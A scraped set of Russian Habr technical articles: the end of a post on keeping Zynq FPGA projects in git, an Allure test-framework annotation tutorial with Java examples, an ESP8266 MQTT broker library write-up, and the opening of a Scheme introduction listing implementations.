Можно вносить изменения в исходные файлы и вносить их в коммиты.
Помимо осноного процессор СНК, мы используем ядро небольшого процессора MicroBlaze, размещаемого непосредственно в ПЛИС. Если нужны правки в прошивке MicroBlaze'а, то придется открывать SDK. Для этого в Vivado следует нажать `File->Launch SDK`. Проект прошивки блока поиска (mcs\_facq) изменяется и компилируется в XSDK.
Проект прошивки, BSP, HW Platform подключается автоматически скриптом prj\_somz.tcl при регенерации проекта. Для этого в нем используется следующий хак:
```
exec xsdk -batch -eval "sdk set_workspace [file normalize "$proj_dir/$prj_name.sdk"]; sdk create_hw_project -name $hw_platform_name -hwspec [file normalize "$proj_dir/$prj_name.sdk/$topmodule_name.hdf"]; sdk create_bsp_project -name $facq_bsp_name -hwproject $hw_platform_name -proc $facq_proc_name -os standalone; exec xsdk -eclipseargs -application org.eclipse.cdt.managedbuilder.core.headlessbuild -import [file normalize "$origin_dir/sub/acquisition/sdk/$facq_prj_name/"] -data [file normalize "$proj_dir/$prj_name.sdk"] -vmargs -Dorg.eclipse.cdt.core.console=org.eclipse.cdt.core.systemConsole; exit"
```
После внесения изменений можно собрать прошивку для ПЛИС: выбираем число каналов коррелятора, размер ядра блока поиска, тип корреляторов и т.п. и запускам **Generate Bitstream** слева снизу в Vivado. Процесс сборки пошел!
Если повезет, то через несколько минут/часов/дней мы получим bit-файл, готовый для прошивки в ПЛИС (impl\_2 - набор правил имплементации, описан в prj\_somz.tcl):
```
korogodin@Diod:~/Oryx/src/fpga$ find ./ -name *.bit
/home/korogodin/Oryx/src/fpga/prj_somz/somz.runs/impl_2/somz.bit
```
Заключение
----------
Описан способ хранения исходных кодов проекта для СнК Zynq в системе контроля git. В репозитории размещаются текстовые файлы, создаваемые разработчиком, плюс автоматически формируемых скрипт и xml-описание блок-дизайна. Это позволяет контролировать вносимые изменения при процессе слияния веток и быстрее выявлять источники ошибок при их возникновении.
Проект может быть восстановлен на любом компьютере с подходящей версией Vivado. Прошивка может быть собрана в консольном режиме без применения графического интерфейса и участия человека, что позволяет включить FPGA часть проекта в контур автоматического тестирования.
**Update**
Реализация Makefile’ов и tcl-скриптов от хабропользователя Владислава: <https://github.com/vborchsh/make-fpga> | https://habr.com/ru/post/683580/ | null | ru | null |
# Allure-Framework. Работа с кодом
Продолжая [серию публикаций о возможностях Allure-framework](https://habr.com/company/efs/blog/358836/), сегодня мы поговорим о работе с кодом. Под катом разбираем, что такое шаг теста, как выводить информацию в отчет при выполнении шагов и какие бывают категории дефектов. Кроме того, расскажем об аннотациях Allure. Дальше еще интереснее!
Шаг теста. Определение и аннотация *@*Step
------------------------------------------
Для визуализации процессов, протекающих в ваших тестах, необходимо использовать шаги. Шаг должен представлять какое-то атомарное действие или проверку. Собственно последовательность шагов и представляет ваш тест. Для наглядности в шаге должны быть описаны входные параметры, а также ожидаемый и фактический результат, если шаг представляет собой проверку.
В Allure для обозначения тестового шага над методом необходимо проставить аннотацию *@*Step. Затем необходимые шаги-методы включаются в тело тестового метода: тесты с аннотацией *@*Test.
**Рассмотрим пример**
Создадим метод с аннотацией *@*Step, который проверяет соответствие суммы двух слагаемых ожидаемому результату:
```
@Step
public static void checkSumStep(int num1, int num2, int expectedSum) {
Assert.assertTrue("Сумма слагаемых не соответствует ожидаемому значению", num1 + num2 == expectedSum);
}
```
Теперь создадим тестовый метод, использующий данный шаг:
```
@Test
public void simpleTest2() {
checkSumStep(3, 2, 5);
checkSumStep(5, 4, 9);
}
```
При прогоне данного автотеста мы получим следующий отчет:
Аннотация *@*Step умеет принимать параметр «value», который позволяет указывать имя шага на русском языке. Кроме того, имя шага можно параметризировать – передать в него значения аргументов, передающихся в шаг.
**Продемонстрируем на примере**
```
@Step("Проверка разности числа {num1} и числа {num2}")
public static void checkSubtractionStep(int num1, int num2, int expectedResult) {
Assert.assertTrue("Результат вычитания не соответствует ожидаемому значению", num1 - num2 == expectedResult);
}
```
При использовании данного шага в тесте получим отчет:
> Стоит отметить, что в случае использования объекта в качестве аргумента метода, есть возможность вывести в названии шага значение одного из полей этого объекта. Для этого необходимо в value указать имя поля в виде {object.fieldName}
Вывод информации в отчет при выполнении шагов теста. Вложения
-------------------------------------------------------------
При выполнении шагов автотеста бывает очень полезно выводить в отчет разного рода информацию. Для этих целей в Allure служат вложения.
> Вложение — это информация различного типа в виде файла, который может быть прикреплен к тестовому шагу или тесту.
Вложения могут иметь 4 характеристики:
• value/name — наименование вложения;
• type — тип информации в соответствии со стандартом [MIME](https://ru.wikipedia.org/wiki/MIME);
• content — содержимое вложения;
• fileExtension — опциональное расширение файла вложения, начинающееся с точки.
Вложения к отчету можно прикреплять 2 способами: с помощью аннотации *@*Attachment и с помощью статического метода *addAttachment* класса Allure.
### Прикрепление вложений с помощью аннотации @Attachment
В данном способе создается метод, возвращающий массив байтов, над ним размещается аннотация *@*Attachment. При использовании данного метода считанная информация будет добавлена в отчет в виде файла с соответствующим расширением. Наименование вложения будет таким же, как и имя вызываемого метода.
**Продемонстрируем на примере**
Создадим метод, который будет зачитывать вложение:
```
@Attachment
public static byte[] getBytes(String resourceName) throws IOException {
return Files.readAllBytes(Paths.get("src/main/resources", resourceName));
}
```
Создадим тестовый шаг, который будет использовать данный метод:
```
@Step("Проверка эквивалентности строки {str1} строке {str2}")
public static void checkStringEqualsStep(String str1, String str2) throws IOException {
Assert.assertTrue("Строки не эквивалентны", str1.equals(str2));
getBytes("picture.jpg");
getBytes("text.txt");
}
```
Ну и наконец напишем тест, в котором будет использоваться наш шаг:
```
@Test
public void simpleTest4() throws IOException {
String darkSouls = "Dark souls 3";
checkStringEqualsStep(darkSouls, darkSouls);
}
```
В результате прогона данного теста получим отчет:
В аннотации *@*Attachment можно задавать дополнительные уточняющие параметры:
```
@Attachment(value = "Вложение", type = "application/json", fileExtension = ".txt")
public static byte[] getBytesAnnotationWithArgs(String resourceName) throws IOException {
return Files.readAllBytes(Paths.get("src/main/resources", resourceName));
}
```
При использовании данного метода в своих шагах attachment получит наименование «Вложение», содержимое вложения подсветится в соответствии с шаблоном «json», а само вложение будет сохранено в формате ".txt":
Если поменять тип на «plain/text», то никакой характерной для json-style подсветки ключей-значений уже не будет:
> Также можно поэкспериментировать с fileExtension, например, указать ".doc". В этом случае вложение будет сохранено в формате, характерном для MS Word '97.
### Прикрепление вложений с помощью статического метода addAttachment класса Allure
В данном способе можно прикрепить вложение к шагу теста/тесту, используя перегруженный статический метод addAttachment из класса Allure. В этот метод можно передавать до 4 аргументов — 2 из них обязательны (имя вложения и сам прикладываемый контент), 2 опциональны (расширение файла и MIME-тип).
```
@Step("Добавить ссылку на Сбербанк")
public static void addLinkSber() {
String link = "http://sberbank.ru";
Allure.addAttachment("Результат", "text/plain", link);
}
```
> Несмотря на то, что MIME-типы необходимо указывать довольно часто, их приходится прописывать «вручную». В поставку Allure не входит класс с константами допустимых типов.
Другие аннотации Allure
-----------------------
Кроме наиболее известных аннотаций *@*Step и *@*Attachment, Allure в своем составе имеет целый ряд других аннотаций:
### Аннотация *@*Description
***@*Description** — аннотация, размещаемая над тестом или шагом. Позволяет прикрепить описание к тесту или шагу теста. Данная аннотация может принимать параметры «value» — текст описания и «useJavaDoc». При установке значения «true» последнему параметру, в качестве описания будет браться джавадок, размещенный над методом.
**Приведем пример использования данной аннотации**
```
@Test
@Description(value = "Тест проверяет эквивалентность единицы единице")
public void simpleTest7_1() {
Assert.assertTrue(1 == 1);
}
```
### Аннотации функциональности
***@*Epic** — аннотация, размещаемая над тестом. Позволяет группировать тесты по эпикам. Данная аннотация принимает параметр «value» — наименование эпика.
***@*Epics** — тоже самое, что и *@*Epic, но в качестве параметра «value» принимает массив Epic'ов.
***@*Feature** — аннотация, размещаемая над тестом. Позволяет группировать тесты по проверяемому функционалу. Данная аннотация принимает параметр «value» — наименование функционала.
***@*Features** — тоже самое, что и *@*Feature, но в качестве параметра «value» принимает массив Feature'ей.
***@*Story** — аннотация, размещаемая над тестом. Позволяет группировать тесты по User story. Данная аннотация принимает параметр «value» — наименование User story.
***@*Stories** — тоже самое, что и *@*Story, но в качестве параметра «value» принимает массив Story'й.
> Аннотации *@*Epic/Epics, *@*Feature/Features, *@*Story/Stories можно отнести к аннотациям функциональности. Данные аннотации группируют тесты по функциональности в разделе Behaviors(Функциональность) Allure-отчета.
**Приведем пример использования данных аннотаций**
```
@Epic(value = "Математика")
@Feature(value = "Простые математические операции")
@Story(value = "Сложение")
@Test
public void sumTest() {
Steps.checkSummationStep(5, 4, 9);
}
@Epic(value = "Математика")
@Feature(value = "Простые математические операции")
@Story(value = "Вычитание")
@Test
public void subTest() {
checkSubtractionStep(8, 2, 6);
}
@Epics(value = {@Epic(value = "Математика"), @Epic(value = "Геометрия")})
@Features(value = {@Feature(value = "Тригонометрия"), @Feature(value = "Простые математические операции")})
@Stories(value = {@Story(value = "Синус"), @Story(value = "Синусоида")})
@Test
public void checkSinTest() {
checkSinStep(0, 0);
}
```
При выполнении тестов и последующем формировании отчета, в разделе Behaviors мы увидим, что тесты сгруппированы в многоуровневый список (*@*Epic → *@*Feature → *@*Story):
### Аннотация *@*Flaky
*@*Flaky — аннотация, размещаемая над тестом. Позволяет пометить автотест как нестабильный. Если автотест падает хотя бы в одном перезапуске (например, папка «target» между прогонами одного и того же теста не очищается) — в отчете на данном тесте вы увидите знак бомбы. Кроме того, данной аннотацией можно помечать классы с нестабильными тестами.
**Приведем пример использования данной аннотации**
Обратите внимание, что ветвления в тестах делать не стоит: в данном случае блок if — else используется лишь для того, чтобы сделать тест нестабильным!
```
@Test
@Flaky
public void testDemoFlaky() {
int randomNum = ThreadLocalRandom.current().nextInt(0, 2);
if (randomNum == 0) {
Assert.assertTrue(true);
} else {
Assert.assertTrue(false);
}
}
```
При нескольких прогонах теста в режиме перезапуска отчет примет следующий вид:
### Аннотации ссылок на тест-кейсы и дефекты
***@*Issue** — аннотация, размещаемая над тестом. Позволяет линковать автотесты с заведенными Issue. Данная аннотация принимает параметр «value», в котором указывается ID дефекта в баг-треккинговой системе.
***@*Issues** — тоже самое, что и *@*Issue, но в качестве параметра «value» принимает массив Issue.
***@*TmsLink** — аннотация, размещаемая над тестом. Позволяет линковать автотесты с тестовыми кейсами, шаги которых описаны в системах управления тестированием. Данная аннотация принимает параметр «value», в котором указывается ID теста в системе управления тестированием.
***@*TmsLinks** — тоже самое, что и *@*TmsLink, но в качестве параметра «value» принимает массив TmsLink'ов.
> Аннотации данной группы добавляют ссылки на дефект/тест-кейс в Allure-отчет.
Чтобы из ID дефекта/тест-кейса, указанного в параметре «value», получить полноценную ссылку, необходимо в allure.properties (который должен быть размещен в classpath, например, в src/test/resources) описать шаблон ссылки до соответствующего дефекта/тест-кейса.
```
allure.link.issue.pattern=https://example.org/issue/{}
allure.link.tms.pattern=https://example.org/tms/{}
```
При генерации отчета Allure подставит вместо символов {} значения, которые были указаны в параметре value Вашей аннотации, и вы получите полноценные ссылки.
**Приведем пример использования данных аннотаций**
```
@Test
@Issue(value = "FGY-4627")
@TmsLinks({@TmsLink(value = "TL-135"), @TmsLink(value = "TL-158")})
public void simpleTest15() {
Assert.assertTrue(1 == 1);
}
@Test
@TmsLink(value = "TL-678")
public void simpleTest18() {
Assert.assertTrue(1 == 1);
}
```
### Аннотации прочих ссылок
***@*Link** — аннотация, размещаемая над тестом. Позволяет приложить к автотесту ссылки на какие-то внешние ресурсы. Данная аннотация может принимать параметры «name» — наименование ссылки (по умолчанию, url), «value» — синоним «name», «url» — адрес, по которому нужно выполнить переход и «type» — параметр, применяемый для создания иконки для ссылки.
***@*Links** — тоже самое, что и *@*Link, но в качестве параметра «value» принимает массив Link'ов.
**Приведем пример использования данных аннотаций**
```
@Test
@Link(name = "Ссылка", url = "http://yandex.ru")
public void checkSubtractionWithLinkTest() {
checkSubtractionStep(15, 5, 10);
}
@Test
@Links(value = {@Link(name = "Ссылка1", url = "http://sberbank.ru"),
@Link(name = "Ссылка2", url = "http://yandex.ru")})
public void checkSubtractionWithLinksTest() {
checkSubtractionStep(14, 5, 9);
}
```
### Аннотация *@*Owner
***@*Owner** — аннотация, размещаемая над тестом. Позволяет указать ответственное лицо за тест. Данная аннотация принимает параметр «value», в котором указывается информация об авторе автотеста.
**Приведем пример использования данной аннотации**
```
@Test
@Owner(value = "Пупкин Валерий Иванович")
public void testDemoOwner() {
checkSumStep(1, 2, 3);
}
```
### Аннотация *@*Severity
**@Severity** — аннотация, размещаемая над тестом. Позволяет указать уровень критичности функционала, проверяемого автотестом. Данная аннотация принимает параметр «value», который может быть одним из элементов enum SeverityLevel: BLOCKER, CRITICAL, NORMAL, MINOR или TRIVIAL.
**Приведем пример использования данной аннотации**
```
@Test
@Severity(value = SeverityLevel.BLOCKER)
public void testDemoSeverity() {
checkSubtractionStep(6, 1, 5);
}
```
Параметризованные автотесты в Allure
------------------------------------
Allure умеет работать с параметризованными автотестами. Рассмотрим на примере JUnit 4.12.
Для начала создадим тестовый класс с параметризованными тестами следующего вида:
```
@RunWith(Parameterized.class)
public class ParamsTests {
@Parameter
public int operand1;
@Parameter(1)
public int operand2;
@Parameter(2)
public int expectedResult;
@Parameters(name = "operand1 = {0} | operand2 = {1} | expectedResult = {2}")
public static Collection dataProvider() {
return Arrays.asList(new Integer[][]{
{1, 2, 3},
{2, 4, 6},
{5, 6, 11},
{7, 5, 12},
{2, 4, 5},
{4, 1, 5},
{8, 2, 11}
});
}
@Test
public void checkSum() {
Assert.assertTrue("Сумма слагаемых не соответствует ожидаемому значению", operand1 + operand2 == expectedResult);
}
}
```
Теперь прогоним наш тест и соберем отчет:
Allure представляет наш параметризованный тест как набор тестов, если провалиться в какой-либо тест, то мы получим детальную информацию о прогоне именно этого кейса.
Категории дефектов. Распределение дефектов по категориям
--------------------------------------------------------
По умолчанию на вкладке «Categories» Allure-отчета все прогнанные тестовые методы делятся на 2 категории: дефекты продукта (failed tests) и дефекты теста (broken tests). Для того, чтобы сделать кастомную классификацию, необходимо подложить файл categories.json в директорию «target/allure-results».
> Если в pom.xml у Вас подключен allure-maven плагин, то categories.json можно разместить в поддиректории resources директории test
Приведем пример кастомной классификации дефектов. Создадим файл categories.json:
```
[
{
"name": "Неизвестная проблема",
"matchedStatuses": ["broken", "failed"],
"messageRegex": ".*что-то пошло не так.*"
},
{
"name": "Нет данных",
"matchedStatuses": ["broken"],
"traceRegex": ".*NullPointerException.*"
},
{
"name": "Product defects",
"matchedStatuses": ["failed"]
},
{
"name": "Test defects",
"matchedStatuses": ["broken"]
}
]
```
Описание атрибутов:
• name — наименование категории. Оно будет отображаться на вкладке «Categories» на самом верхнем уровне классификации. Обязательный атрибут.
• matchedStatuses — список статусов, с одним из которых должен завершиться тест, чтобы попасть в данную категорию. Из коробки доступны статусы «failed», «broken», «passed», «skipped» и «unknown». Необязательный атрибут.
• messageRegex — регулярное выражение, которому должно соответствовать Exception-сообщение, чтобы попасть в данную категорию. Необязательный атрибут.
• traceRegex — регулярное выражение, которому должно соответствовать Exception-StackTrace, чтобы попасть в данную категорию. Необязательный атрибут.
Теперь прогоним тесты, обнаруживающие такие дефекты, и посмотрим, как будет выглядеть отчет на вкладке «Categories»:
Тестовое окружение. Блок ENVIRONMENT на главной странице отчета
---------------------------------------------------------------
Allure-отчет позволяет выводить на своей главной странице в специальном блоке информацию о тестовом окружении, на котором были прогнаны тесты. Выглядит это так:
Информация, которая отображается в данном блоке, попадает туда из специального файла environment.properties.
Приведем пример данного файла:
```
OS.version=Windows 10 Pro
JDK.version=jdk1.8.0_162
MAVEN.version=Apache Maven 3.5.2
allure-junit4.version=2.6.0
allure-report.version=2.6.0
```
Данный файл необходимо подложить в директорию «target/allure-results» до сборки html-отчета. Сделать это можно вручную, а можно использовать [maven-resources-plugin](https://maven.apache.org/plugins/maven-resources-plugin/).
Приведем пример его использования в данной ситуации, при условии размещения environment.properties в поддиректории resources директории test. Для этого модифицируем pom.xml:
```
...
maven-resources-plugin
3.0.2
copy-resources
validate
copy-resources
${allure.results.directory}
src/test/resources
environment.properties
...
```
Теперь при сборке проекта environment.properties будет попадать в «target/allure-results» и участвовать в построении html-отчета.
> При запуске тестов на Jenkins, categories.json не будет самостоятельно копироваться в «target/allure-results». Его также очень удобно добавить в секцию includes maven-resources-plugin'а.
Заключение
----------
Во второй части лонгрида мы постарались подробно рассказать об аннотациях в Allure, привели примеры их использования. Затронули категории дефектов, тестовое окружение и способы вывода информации в отчет. Приглашаем к обсуждению в комментариях.
Подписывайтесь на блог ЕФС, следите за новыми публикациями. Скоро мы снова расскажем что-то новое и полезное про Allure. | https://habr.com/ru/post/359302/ | null | ru | null |
# ESP8266 в качестве MQTT брокера для мобильного приложения
 Как говорится, лень — двигатель прогресса. Для облегчения жизни сейчас делаю себе небольшое устройство в виде модуля ESP8266 и преобразователя RS485 для связи с датчиками-газоанализаторами по протоколу Modbus. В производстве постоянно возникает необходимость подключаться к приборам для выполнения различного рода диагностики по 485 интерфейсу, но каждый раз тащить с собой ноутбук неудобно, а вот мобильный телефон всегда в кармане.
В процессе разработки получилась библиотека, которая позволяет подключаться напрямую с телефона к модулю и обмениваться данными через приложение MQTT клиента. Возможно кому-то такое решение тоже пригодится, ведь отпадает необходимость иметь сторонний MQTT брокер (будь то локальный брокер на Raspberry или брокер в интернете) и подключение к интернету, что в моем случае самое главное.
**Приложение для телефона**
В качестве приложения я выбрал IoTmanager. Основная фича — это очень гибкая настройка виджетов с помощью HTML5+CSS, все настройки производятся в устройствах, а не в приложении. Топики отправляются в JSON формате и содержат в себе имена заголовков, значения и стили отображения. Возможно кому-то это будет неудобно, но мне такой подход понравился.
Приложение может работать на двух MQTT библиотеках: Paho.js и MQTT.js. С ходу у меня получилось установить WebSocket соединение через библиотеку Paho, на ней я и остался работать. Если выбрать в настройках MQTT, соединения не происходит, подозреваю, что нужно поковырять библиотеку WebSocketServer.
**Я долго презирал Arduino, но все же сдался**
Не хочу разводить дискуссию по поводу выбора среды, просто скажу, что для меня важную роль в выборе Arduino IDE для написания прошивки ESP8266 сыграло наличие тонны готовых библиотек и документации. Все просто и быстро, благо проект обещает быть не сложным.
**Оффтопик**
Хотите верьте, хотите нет, но даже ракеты улетают в космос с микроконтроллерами, запрограммированными в среде Arduino. Решающую роль очень часто играет скорость разработки — подключил готовые библиотеки и в путь.
**Open Source наше все**
[Репозиторий на GitHub](https://github.com/xDWart/MQTTbroker). Библиотека пока сыровата, в некоторых случаях настройки виджетов вызывают реконнект IoTmanager’a, причину которого я найти пока не могу, возможно совместная разработка пойдет быстрее.
Проект содержит в себе две реализации библиотеки:
**MQTTbroker.h** это попытка реализовать реальный брокер с контролем подписок. Т.е когда приходит сообщение в топик, брокер проходит по всем клиентам и их подпискам и ищет совпадения (в том числе по маскам /+/) и рассылает сообщения только тем, у кого подписки соответствуют имени топика, не забывая про самого себя.
**MQTTbroker\_lite.h** работает немного быстрее за счет того, что в ней отсутствует автоматическая логика обработки подписок. Все приходящие сообщения перенаправляются в callback функцию основной программе, а там уже, если надо, обрабатываем их сами. Для конкретно моего случая нужна именно такая реализация: одно устройство — один подключаемый клиент, я знаю на что он подписан и чего от меня ждет.
**Пример работы**
 Берем любой модуль с ESP8266 (у меня это NodeMcu) и загружаем в него скетч примера из библиотеки. Порт для отладки в инструментах Arduino IDE предлагаю отключить, иначе библиотека будет слать кучу отладочных сообщений, потом на них посмотрите. Открываем последовательный порт и наблюдаем IP адрес.
На телефоне подключаемся к созданной Wi-Fi точке доступа. В приложении IoTmanager заходим в настройки подключения: выбираем движок PAHO, вбиваем IP адрес модуля, 80 порт, префикс топиков /IoTmanager и чуть ниже отключаем SSL/TLS.
Жмем на спидометр в углу, после небольшой задержки должно подключиться и отобразить переключатели. Если не подключается, попробуйте убить и заново запустить приложение. На первом переключателе у меня настроен светодиод (см.видео).
Иногда возникает задержка при подключении. Как я думаю, это связано с тем, что IoTmanager выдает все начальные сообщения за один раз, ESP немного подвисает, обрабатывая их, а дальше уже работает без тормозов.
**Короткое описание**
Обе части библиотеки очень похожи, приведу описание версии \_lite:
```
typedef void(*callback_t)(uint8_t num, Events_t event , String topic_name, uint8_t * payload, uint8_t length_payload); //функция callback'a должна иметь такой вид
MQTTbroker_lite(WebSocketsServer * webSocket); //конструктору класса передаем указатель на WebSocket
void setCallback(callback_t cb); //установка функции callback'a
void begin(void); //начальная инициализация (обнуление массивов)
void parsing(uint8_t num, uint8_t * payload, uint8_t length); //парсинг пришедшего в WS сообщения
void publish(uint8_t num, String topic, uint8_t* payload, uint8_t length); //публикация сообщения клиенту num
void disconnect(uint8_t num); //отключение клиента
bool clientIsConnected(uint8_t num); //проверка клиента на соединение
```
**Видео демонстрация**
Спасибо за внимание. Присоединяйтесь к разработке, библиотека еще сыровата.
За помощью можно обращаться в Telegram [oWart](https://habr.com/ru/users/owart/)
**Ссылки:**
1. [Проект на GitHub](https://github.com/xDWart/MQTTbroker)
2. [Описание виджетов IoTmanager](http://iotmanager.ru/ru/widgets-guide/)
3. [Спецификация протокола MQTT v.3.1.1](http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/csprd02/mqtt-v3.1.1-csprd02.html) | https://habr.com/ru/post/326794/ | null | ru | null |
# Введение в Scheme
> Наиболее важным, но в то же время и наиболее незаметным свойством любого инструмента является его влияние на формирование привычек людей, которые имеют обыкновение им пользоваться.
>
> Эдсгер Вайб Дейкстра
[Часть 1 Введение в Scheme](http://habrahabr.ru/company/tcsbank/blog/267015/)
[Часть 2 Углубление в Scheme](http://habrahabr.ru/company/tcsbank/blog/267113/)
[Часть 3 Практика IronScheme](http://habrahabr.ru/company/tcsbank/blog/267119/)
Введение
--------
В практике программирования часто возникает потребность в написании небольших скриптов для автоматизации различных административных процессов, тестирования и мониторинга. Так же не редко появляется необходимость встроить какой-либо интерпретатор в приложение или просто создать прототип для проверки идеи. Для этих целей можно использовать различные популярные инструменты JavaScript, Python, Lua, Bash, BAT, PHP и много чего еще. А еще бывает потребность хранить структурированные данные в файлах или передавать по сети, когда речь идет о текстовых форматах обычно используются XML, JSON, CSV, даже KV. Однако несмотря на достоинства и распространенность таких широко известных инструментов меня не оставляла навязчивая идея поиска более гибкого и изящного средства. Таким образом, я однажды обратил внимание на семейство Lisp языков. И Lisp позволил застрелить сразу всех зайцев одним выстрелом, причем красиво и элегантно. Поскольку он имеет множество реализаций и стандартов под любые нужды и вкусы. Может выступать как в качестве самостоятельного языка, так и встраиваемого. Имеет единый формат представления данных и кода программы. А главное при необходимости написание собственного интерпретатора не является непосильной задачей.
Когда следует использовать Lisp, а когда нет? Этому вопросу посвящены различные статьи в интернете. Я не берусь рассуждать на эту тему, а лишь замечу, где Lisp мне пригодился. По большей части я использовал Lisp в качестве встраиваемого языка. Для управления приложениями через консоль, для создания гибких конфигурационных файлов, для хранения структурированных данных, для передачи данных по сети, для реализации ~~самопального~~ самодельного RPC. На мой взгляд, удобно, когда все перечисленные варианты имеют одинаковый синтаксис да еще могут быть расширены(в плане синтаксиса и функционала) причем на лету.
Я не считаю себя специалистом в мире Lisp и не гарантирую 100% точности изложенного материала. Одна из целей данной серии статей собрать разрозненную информацию относительно разных реализаций Scheme в одном месте и на родном языке. В общем, данный материал не для тех, кто хочет знать зачем, а для тех, кто хочет знать как. Если кому-то тема будет интересна и полезна, пишите, будем уточнять что есть и думать над продолжением.
Начало
------
Почти каждая статья о Lisp начинается с того, что Lisp один из самых старых языков программирования высокого уровня и общего назначения, который где-то в 1958г был изобретен Джоном Маккарти. Несмотря на древность Lisp мультипарадигмальный язык, позволяющий писать в функциональном, процедурном, объектно-ориентированном стилях. При этом, вся эта мультипарадигмальность доступна через примитивный и единообразный синтаксис, так называемые S-выражения. Для описания Lisp синтаксиса в форме Бэкуса—Наура достаточно всего 7 строк, с оговорками конечно. Так сложилось, что за долгую историю развития над Lisp ломали голову лучшие умы компьютерных наук, шлифуя его словно драгоценный камень. Однако нельзя сказать, что Lisp очень популярен, возможно, тому виной пугающее нагромождение скобок, из-за которого на первый взгляд программа выглядит сложной для восприятия. Но после небольшой практики дискомфорт переходит в восторг от тех возможностей, которые предоставляет данный способ программирования. По крайней мере, так было у меня).
Если быть чуть более точным, Lisp это не то чтобы язык программирования, сколько идея, на базе которой разработаны языки Lisp-семейства. В наши дни существует великое множество Lisp диалектов, а их реализаций еще больше. Что не удивительно, ведь написать интерпретатор лиспа относительно не сложно. Так повернулось колесо истории, что наиболее популярными диалектами стали Common lisp, Scheme и Clojure. Каждый диалект преследует свои, чуть отличные цели. Common Lisp – довольно пожилой промышленный стандарт, имеет в своем арсенале не малое количество библиотек и наработок. Scheme – стремится к минимальности базовых конструкций, через которые может быть выражена вся остальная функциональность, многообразие стилей и подходов программирования. То есть минималистичный интерпретатор и развитая стандартная библиотека. Clojure – свежий взгляд на Lisp в целом, были переосмыслены многие конструкции языка для удобной разработки поверх платформы JAVA в первую очередь. Как пишут на форумах разрабатывать под Clujure куда продуктивнее и интереснее чем на JAVA. Исключительно в целях самообучения я попробовал на вкус разные диалекты и их реализации. Можно бесконечно долго спорить Scheme vs Common Lisp, но для себя я выбор сделал в пользу Scheme за лаконичность, современность и доступность реализаций на различных платформах.
Про Scheme на форумах можно встретить отзывы, будто это исключительно академический язык, который если и можно использовать на практике, то крайне неудобно из-за чрезмерного минимализма. Что-то подсказывало мне, то это не так. И вот, мой дорогой читатель, скажу тебе, что scheme, довольно гибкий язык программирования, при этом не перегружен хитрыми конструкциями и с успехом может конкурировать со многими популярными инструментами. А использовать его в качестве встраиваемого языка одно удовольствие. Относительная простота стандарта Scheme играет на руку, способствуя появлению множества реализаций. Фактически можно выбрать реализацию под любые нужды и разрабатывать полноценные приложения GUI, DB, WEB, используя Scheme в качестве основного языка.
Есть из чего выбрать
--------------------
Любопытно, но часто наиболее популярные продукты практически не предоставляют выбора, вот тебе версия единственная и неповторимая, а все остальное либо устарело, либо чья-то самоделка.
Scheme, возможно благодаря простоте стандарта имеет довольно много реализаций, либо интерпретаторов, либо компиляторов, либо и то и другое сразу. Причем, имеются компиляторы в другие языки, что в некоторых случаях может оказаться крайне полезно.
В сети можно найти список известных реализаций, например на [community.schemewiki.org](http://community.schemewiki.org/) опубликована таблица.
**Известные реализации Scheme**
| Name | Link | Type | Platform | Active | R7RS |
| --- | --- | --- | --- | --- | --- |
| BDC Scheme | [carlstrom.com/bdc-scheme](http://carlstrom.com/bdc-scheme/) | interpreter | Java | no | |
| Bigloo | [www-sop.inria.fr/mimosa/fp/Bigloo](http://www-sop.inria.fr/mimosa/fp/Bigloo/) | compiler | many | yes | |
| BiT | [github.com/melvinzhang/bit-scheme](https://github.com/melvinzhang/bit-scheme) | interpreter | Hardware (microcontrollers) | no | |
| BiwaScheme | [www.biwascheme.org](http://www.biwascheme.org/) | interpreter | Javascript | yes | |
| Bus Scheme | [rubygems.org/gems/bus-scheme](https://rubygems.org/gems/bus-scheme/) | interpreter | Ruby | no | |
| Chez Scheme | [www.scheme.com](http://www.scheme.com/) | interpreter (free) + compiler (paid) | many | no | |
| chibi-scheme | [code.google.com/p/chibi-scheme](http://code.google.com/p/chibi-scheme/) | interpreter | C (library) | yes | yes |
| Chicken | [www.call-cc.org](http://www.call-cc.org/) | interpreter+compiler | many | yes | yes |
| CPSCM | [www.omnigia.com/scheme/cpscm/home](http://www.omnigia.com/scheme/cpscm/home/) | compiler | Javascript, Common Lisp | no | |
| Elk | [sam.zoy.org/projects/elk](http://sam.zoy.org/projects/elk/) | interpreter | C++ (library) | no | |
| Foment | [code.google.com/p/foment](https://code.google.com/p/foment/) | interpreter | many | yes | yes |
| Gambit | [www.iro.umontreal.ca/~gambit](http://www.iro.umontreal.ca/~gambit/) | interpreter+compiler | many | yes | |
| Gauche | [practical-scheme.net/gauche/index.html](http://practical-scheme.net/gauche/index.html) | interpreter | many | yes | yes |
| Guile | [www.gnu.org/software/guile](http://www.gnu.org/software/guile/) | interpreter | many | yes | yes |
| Heist | [github.com/jcoglan/heist/tree/master](http://github.com/jcoglan/heist/tree/master) | interpreter | Ruby | no | |
| HScheme | [hscheme.sourceforge.net](http://hscheme.sourceforge.net/) | interpreter | Haskell | no | |
| Husk Scheme | [github.com/justinethier/husk-scheme](http://github.com/justinethier/husk-scheme) | interpreter | Haskell | yes | yes |
| Ikarus Scheme | [launchpad.net/ikarus](https://launchpad.net/ikarus) | compiler | many | no | |
| Inlab-Scheme | [www.inlab.de/scheme/index.html](http://www.inlab.de/scheme/index.html) | interpreter | Linux | no | |
| IronScheme | [www.codeplex.com/IronScheme](http://www.codeplex.com/IronScheme) | interpreter | .Net | yes | |
| Jaja | [pagesperso-systeme.lip6.fr/Christian.Queinnec/Java/Jaja.html](http://pagesperso-systeme.lip6.fr/Christian.Queinnec/Java/Jaja.html) | interpreter | Java | no | |
| JScheme | [jscheme.sourceforge.net](http://jscheme.sourceforge.net/) | interpreter | Java | no | |
| Kawa | [www.gnu.org/software/kawa](http://www.gnu.org/software/kawa/) | interpreter | Java | yes | yes |
| KSI | [ksi.sourceforge.net](http://ksi.sourceforge.net/) | interpreter | C (library) | no | |
| KSM | [square.umin.ac.jp/~hchang/ksm](http://square.umin.ac.jp/~hchang/ksm/) | interpreter | C (library, Linux-only) | no | |
| Larceny | [www.larcenists.org](http://www.larcenists.org/) | compiler | many | no | yes |
| librep | [librep.sourceforge.net](http://librep.sourceforge.net/) | interpreter | C (library) | no | |
| LispMe | [www.lispme.de/lispme/index.html](http://www.lispme.de/lispme/index.html) | interpreter | Palm | no | |
| Llava | [llava.org](http://llava.org/) | interpreter | Java | no | |
| Luna | [sourceforge.net/projects/luna-scheme](http://sourceforge.net/projects/luna-scheme/) | compiler | .Net | no | |
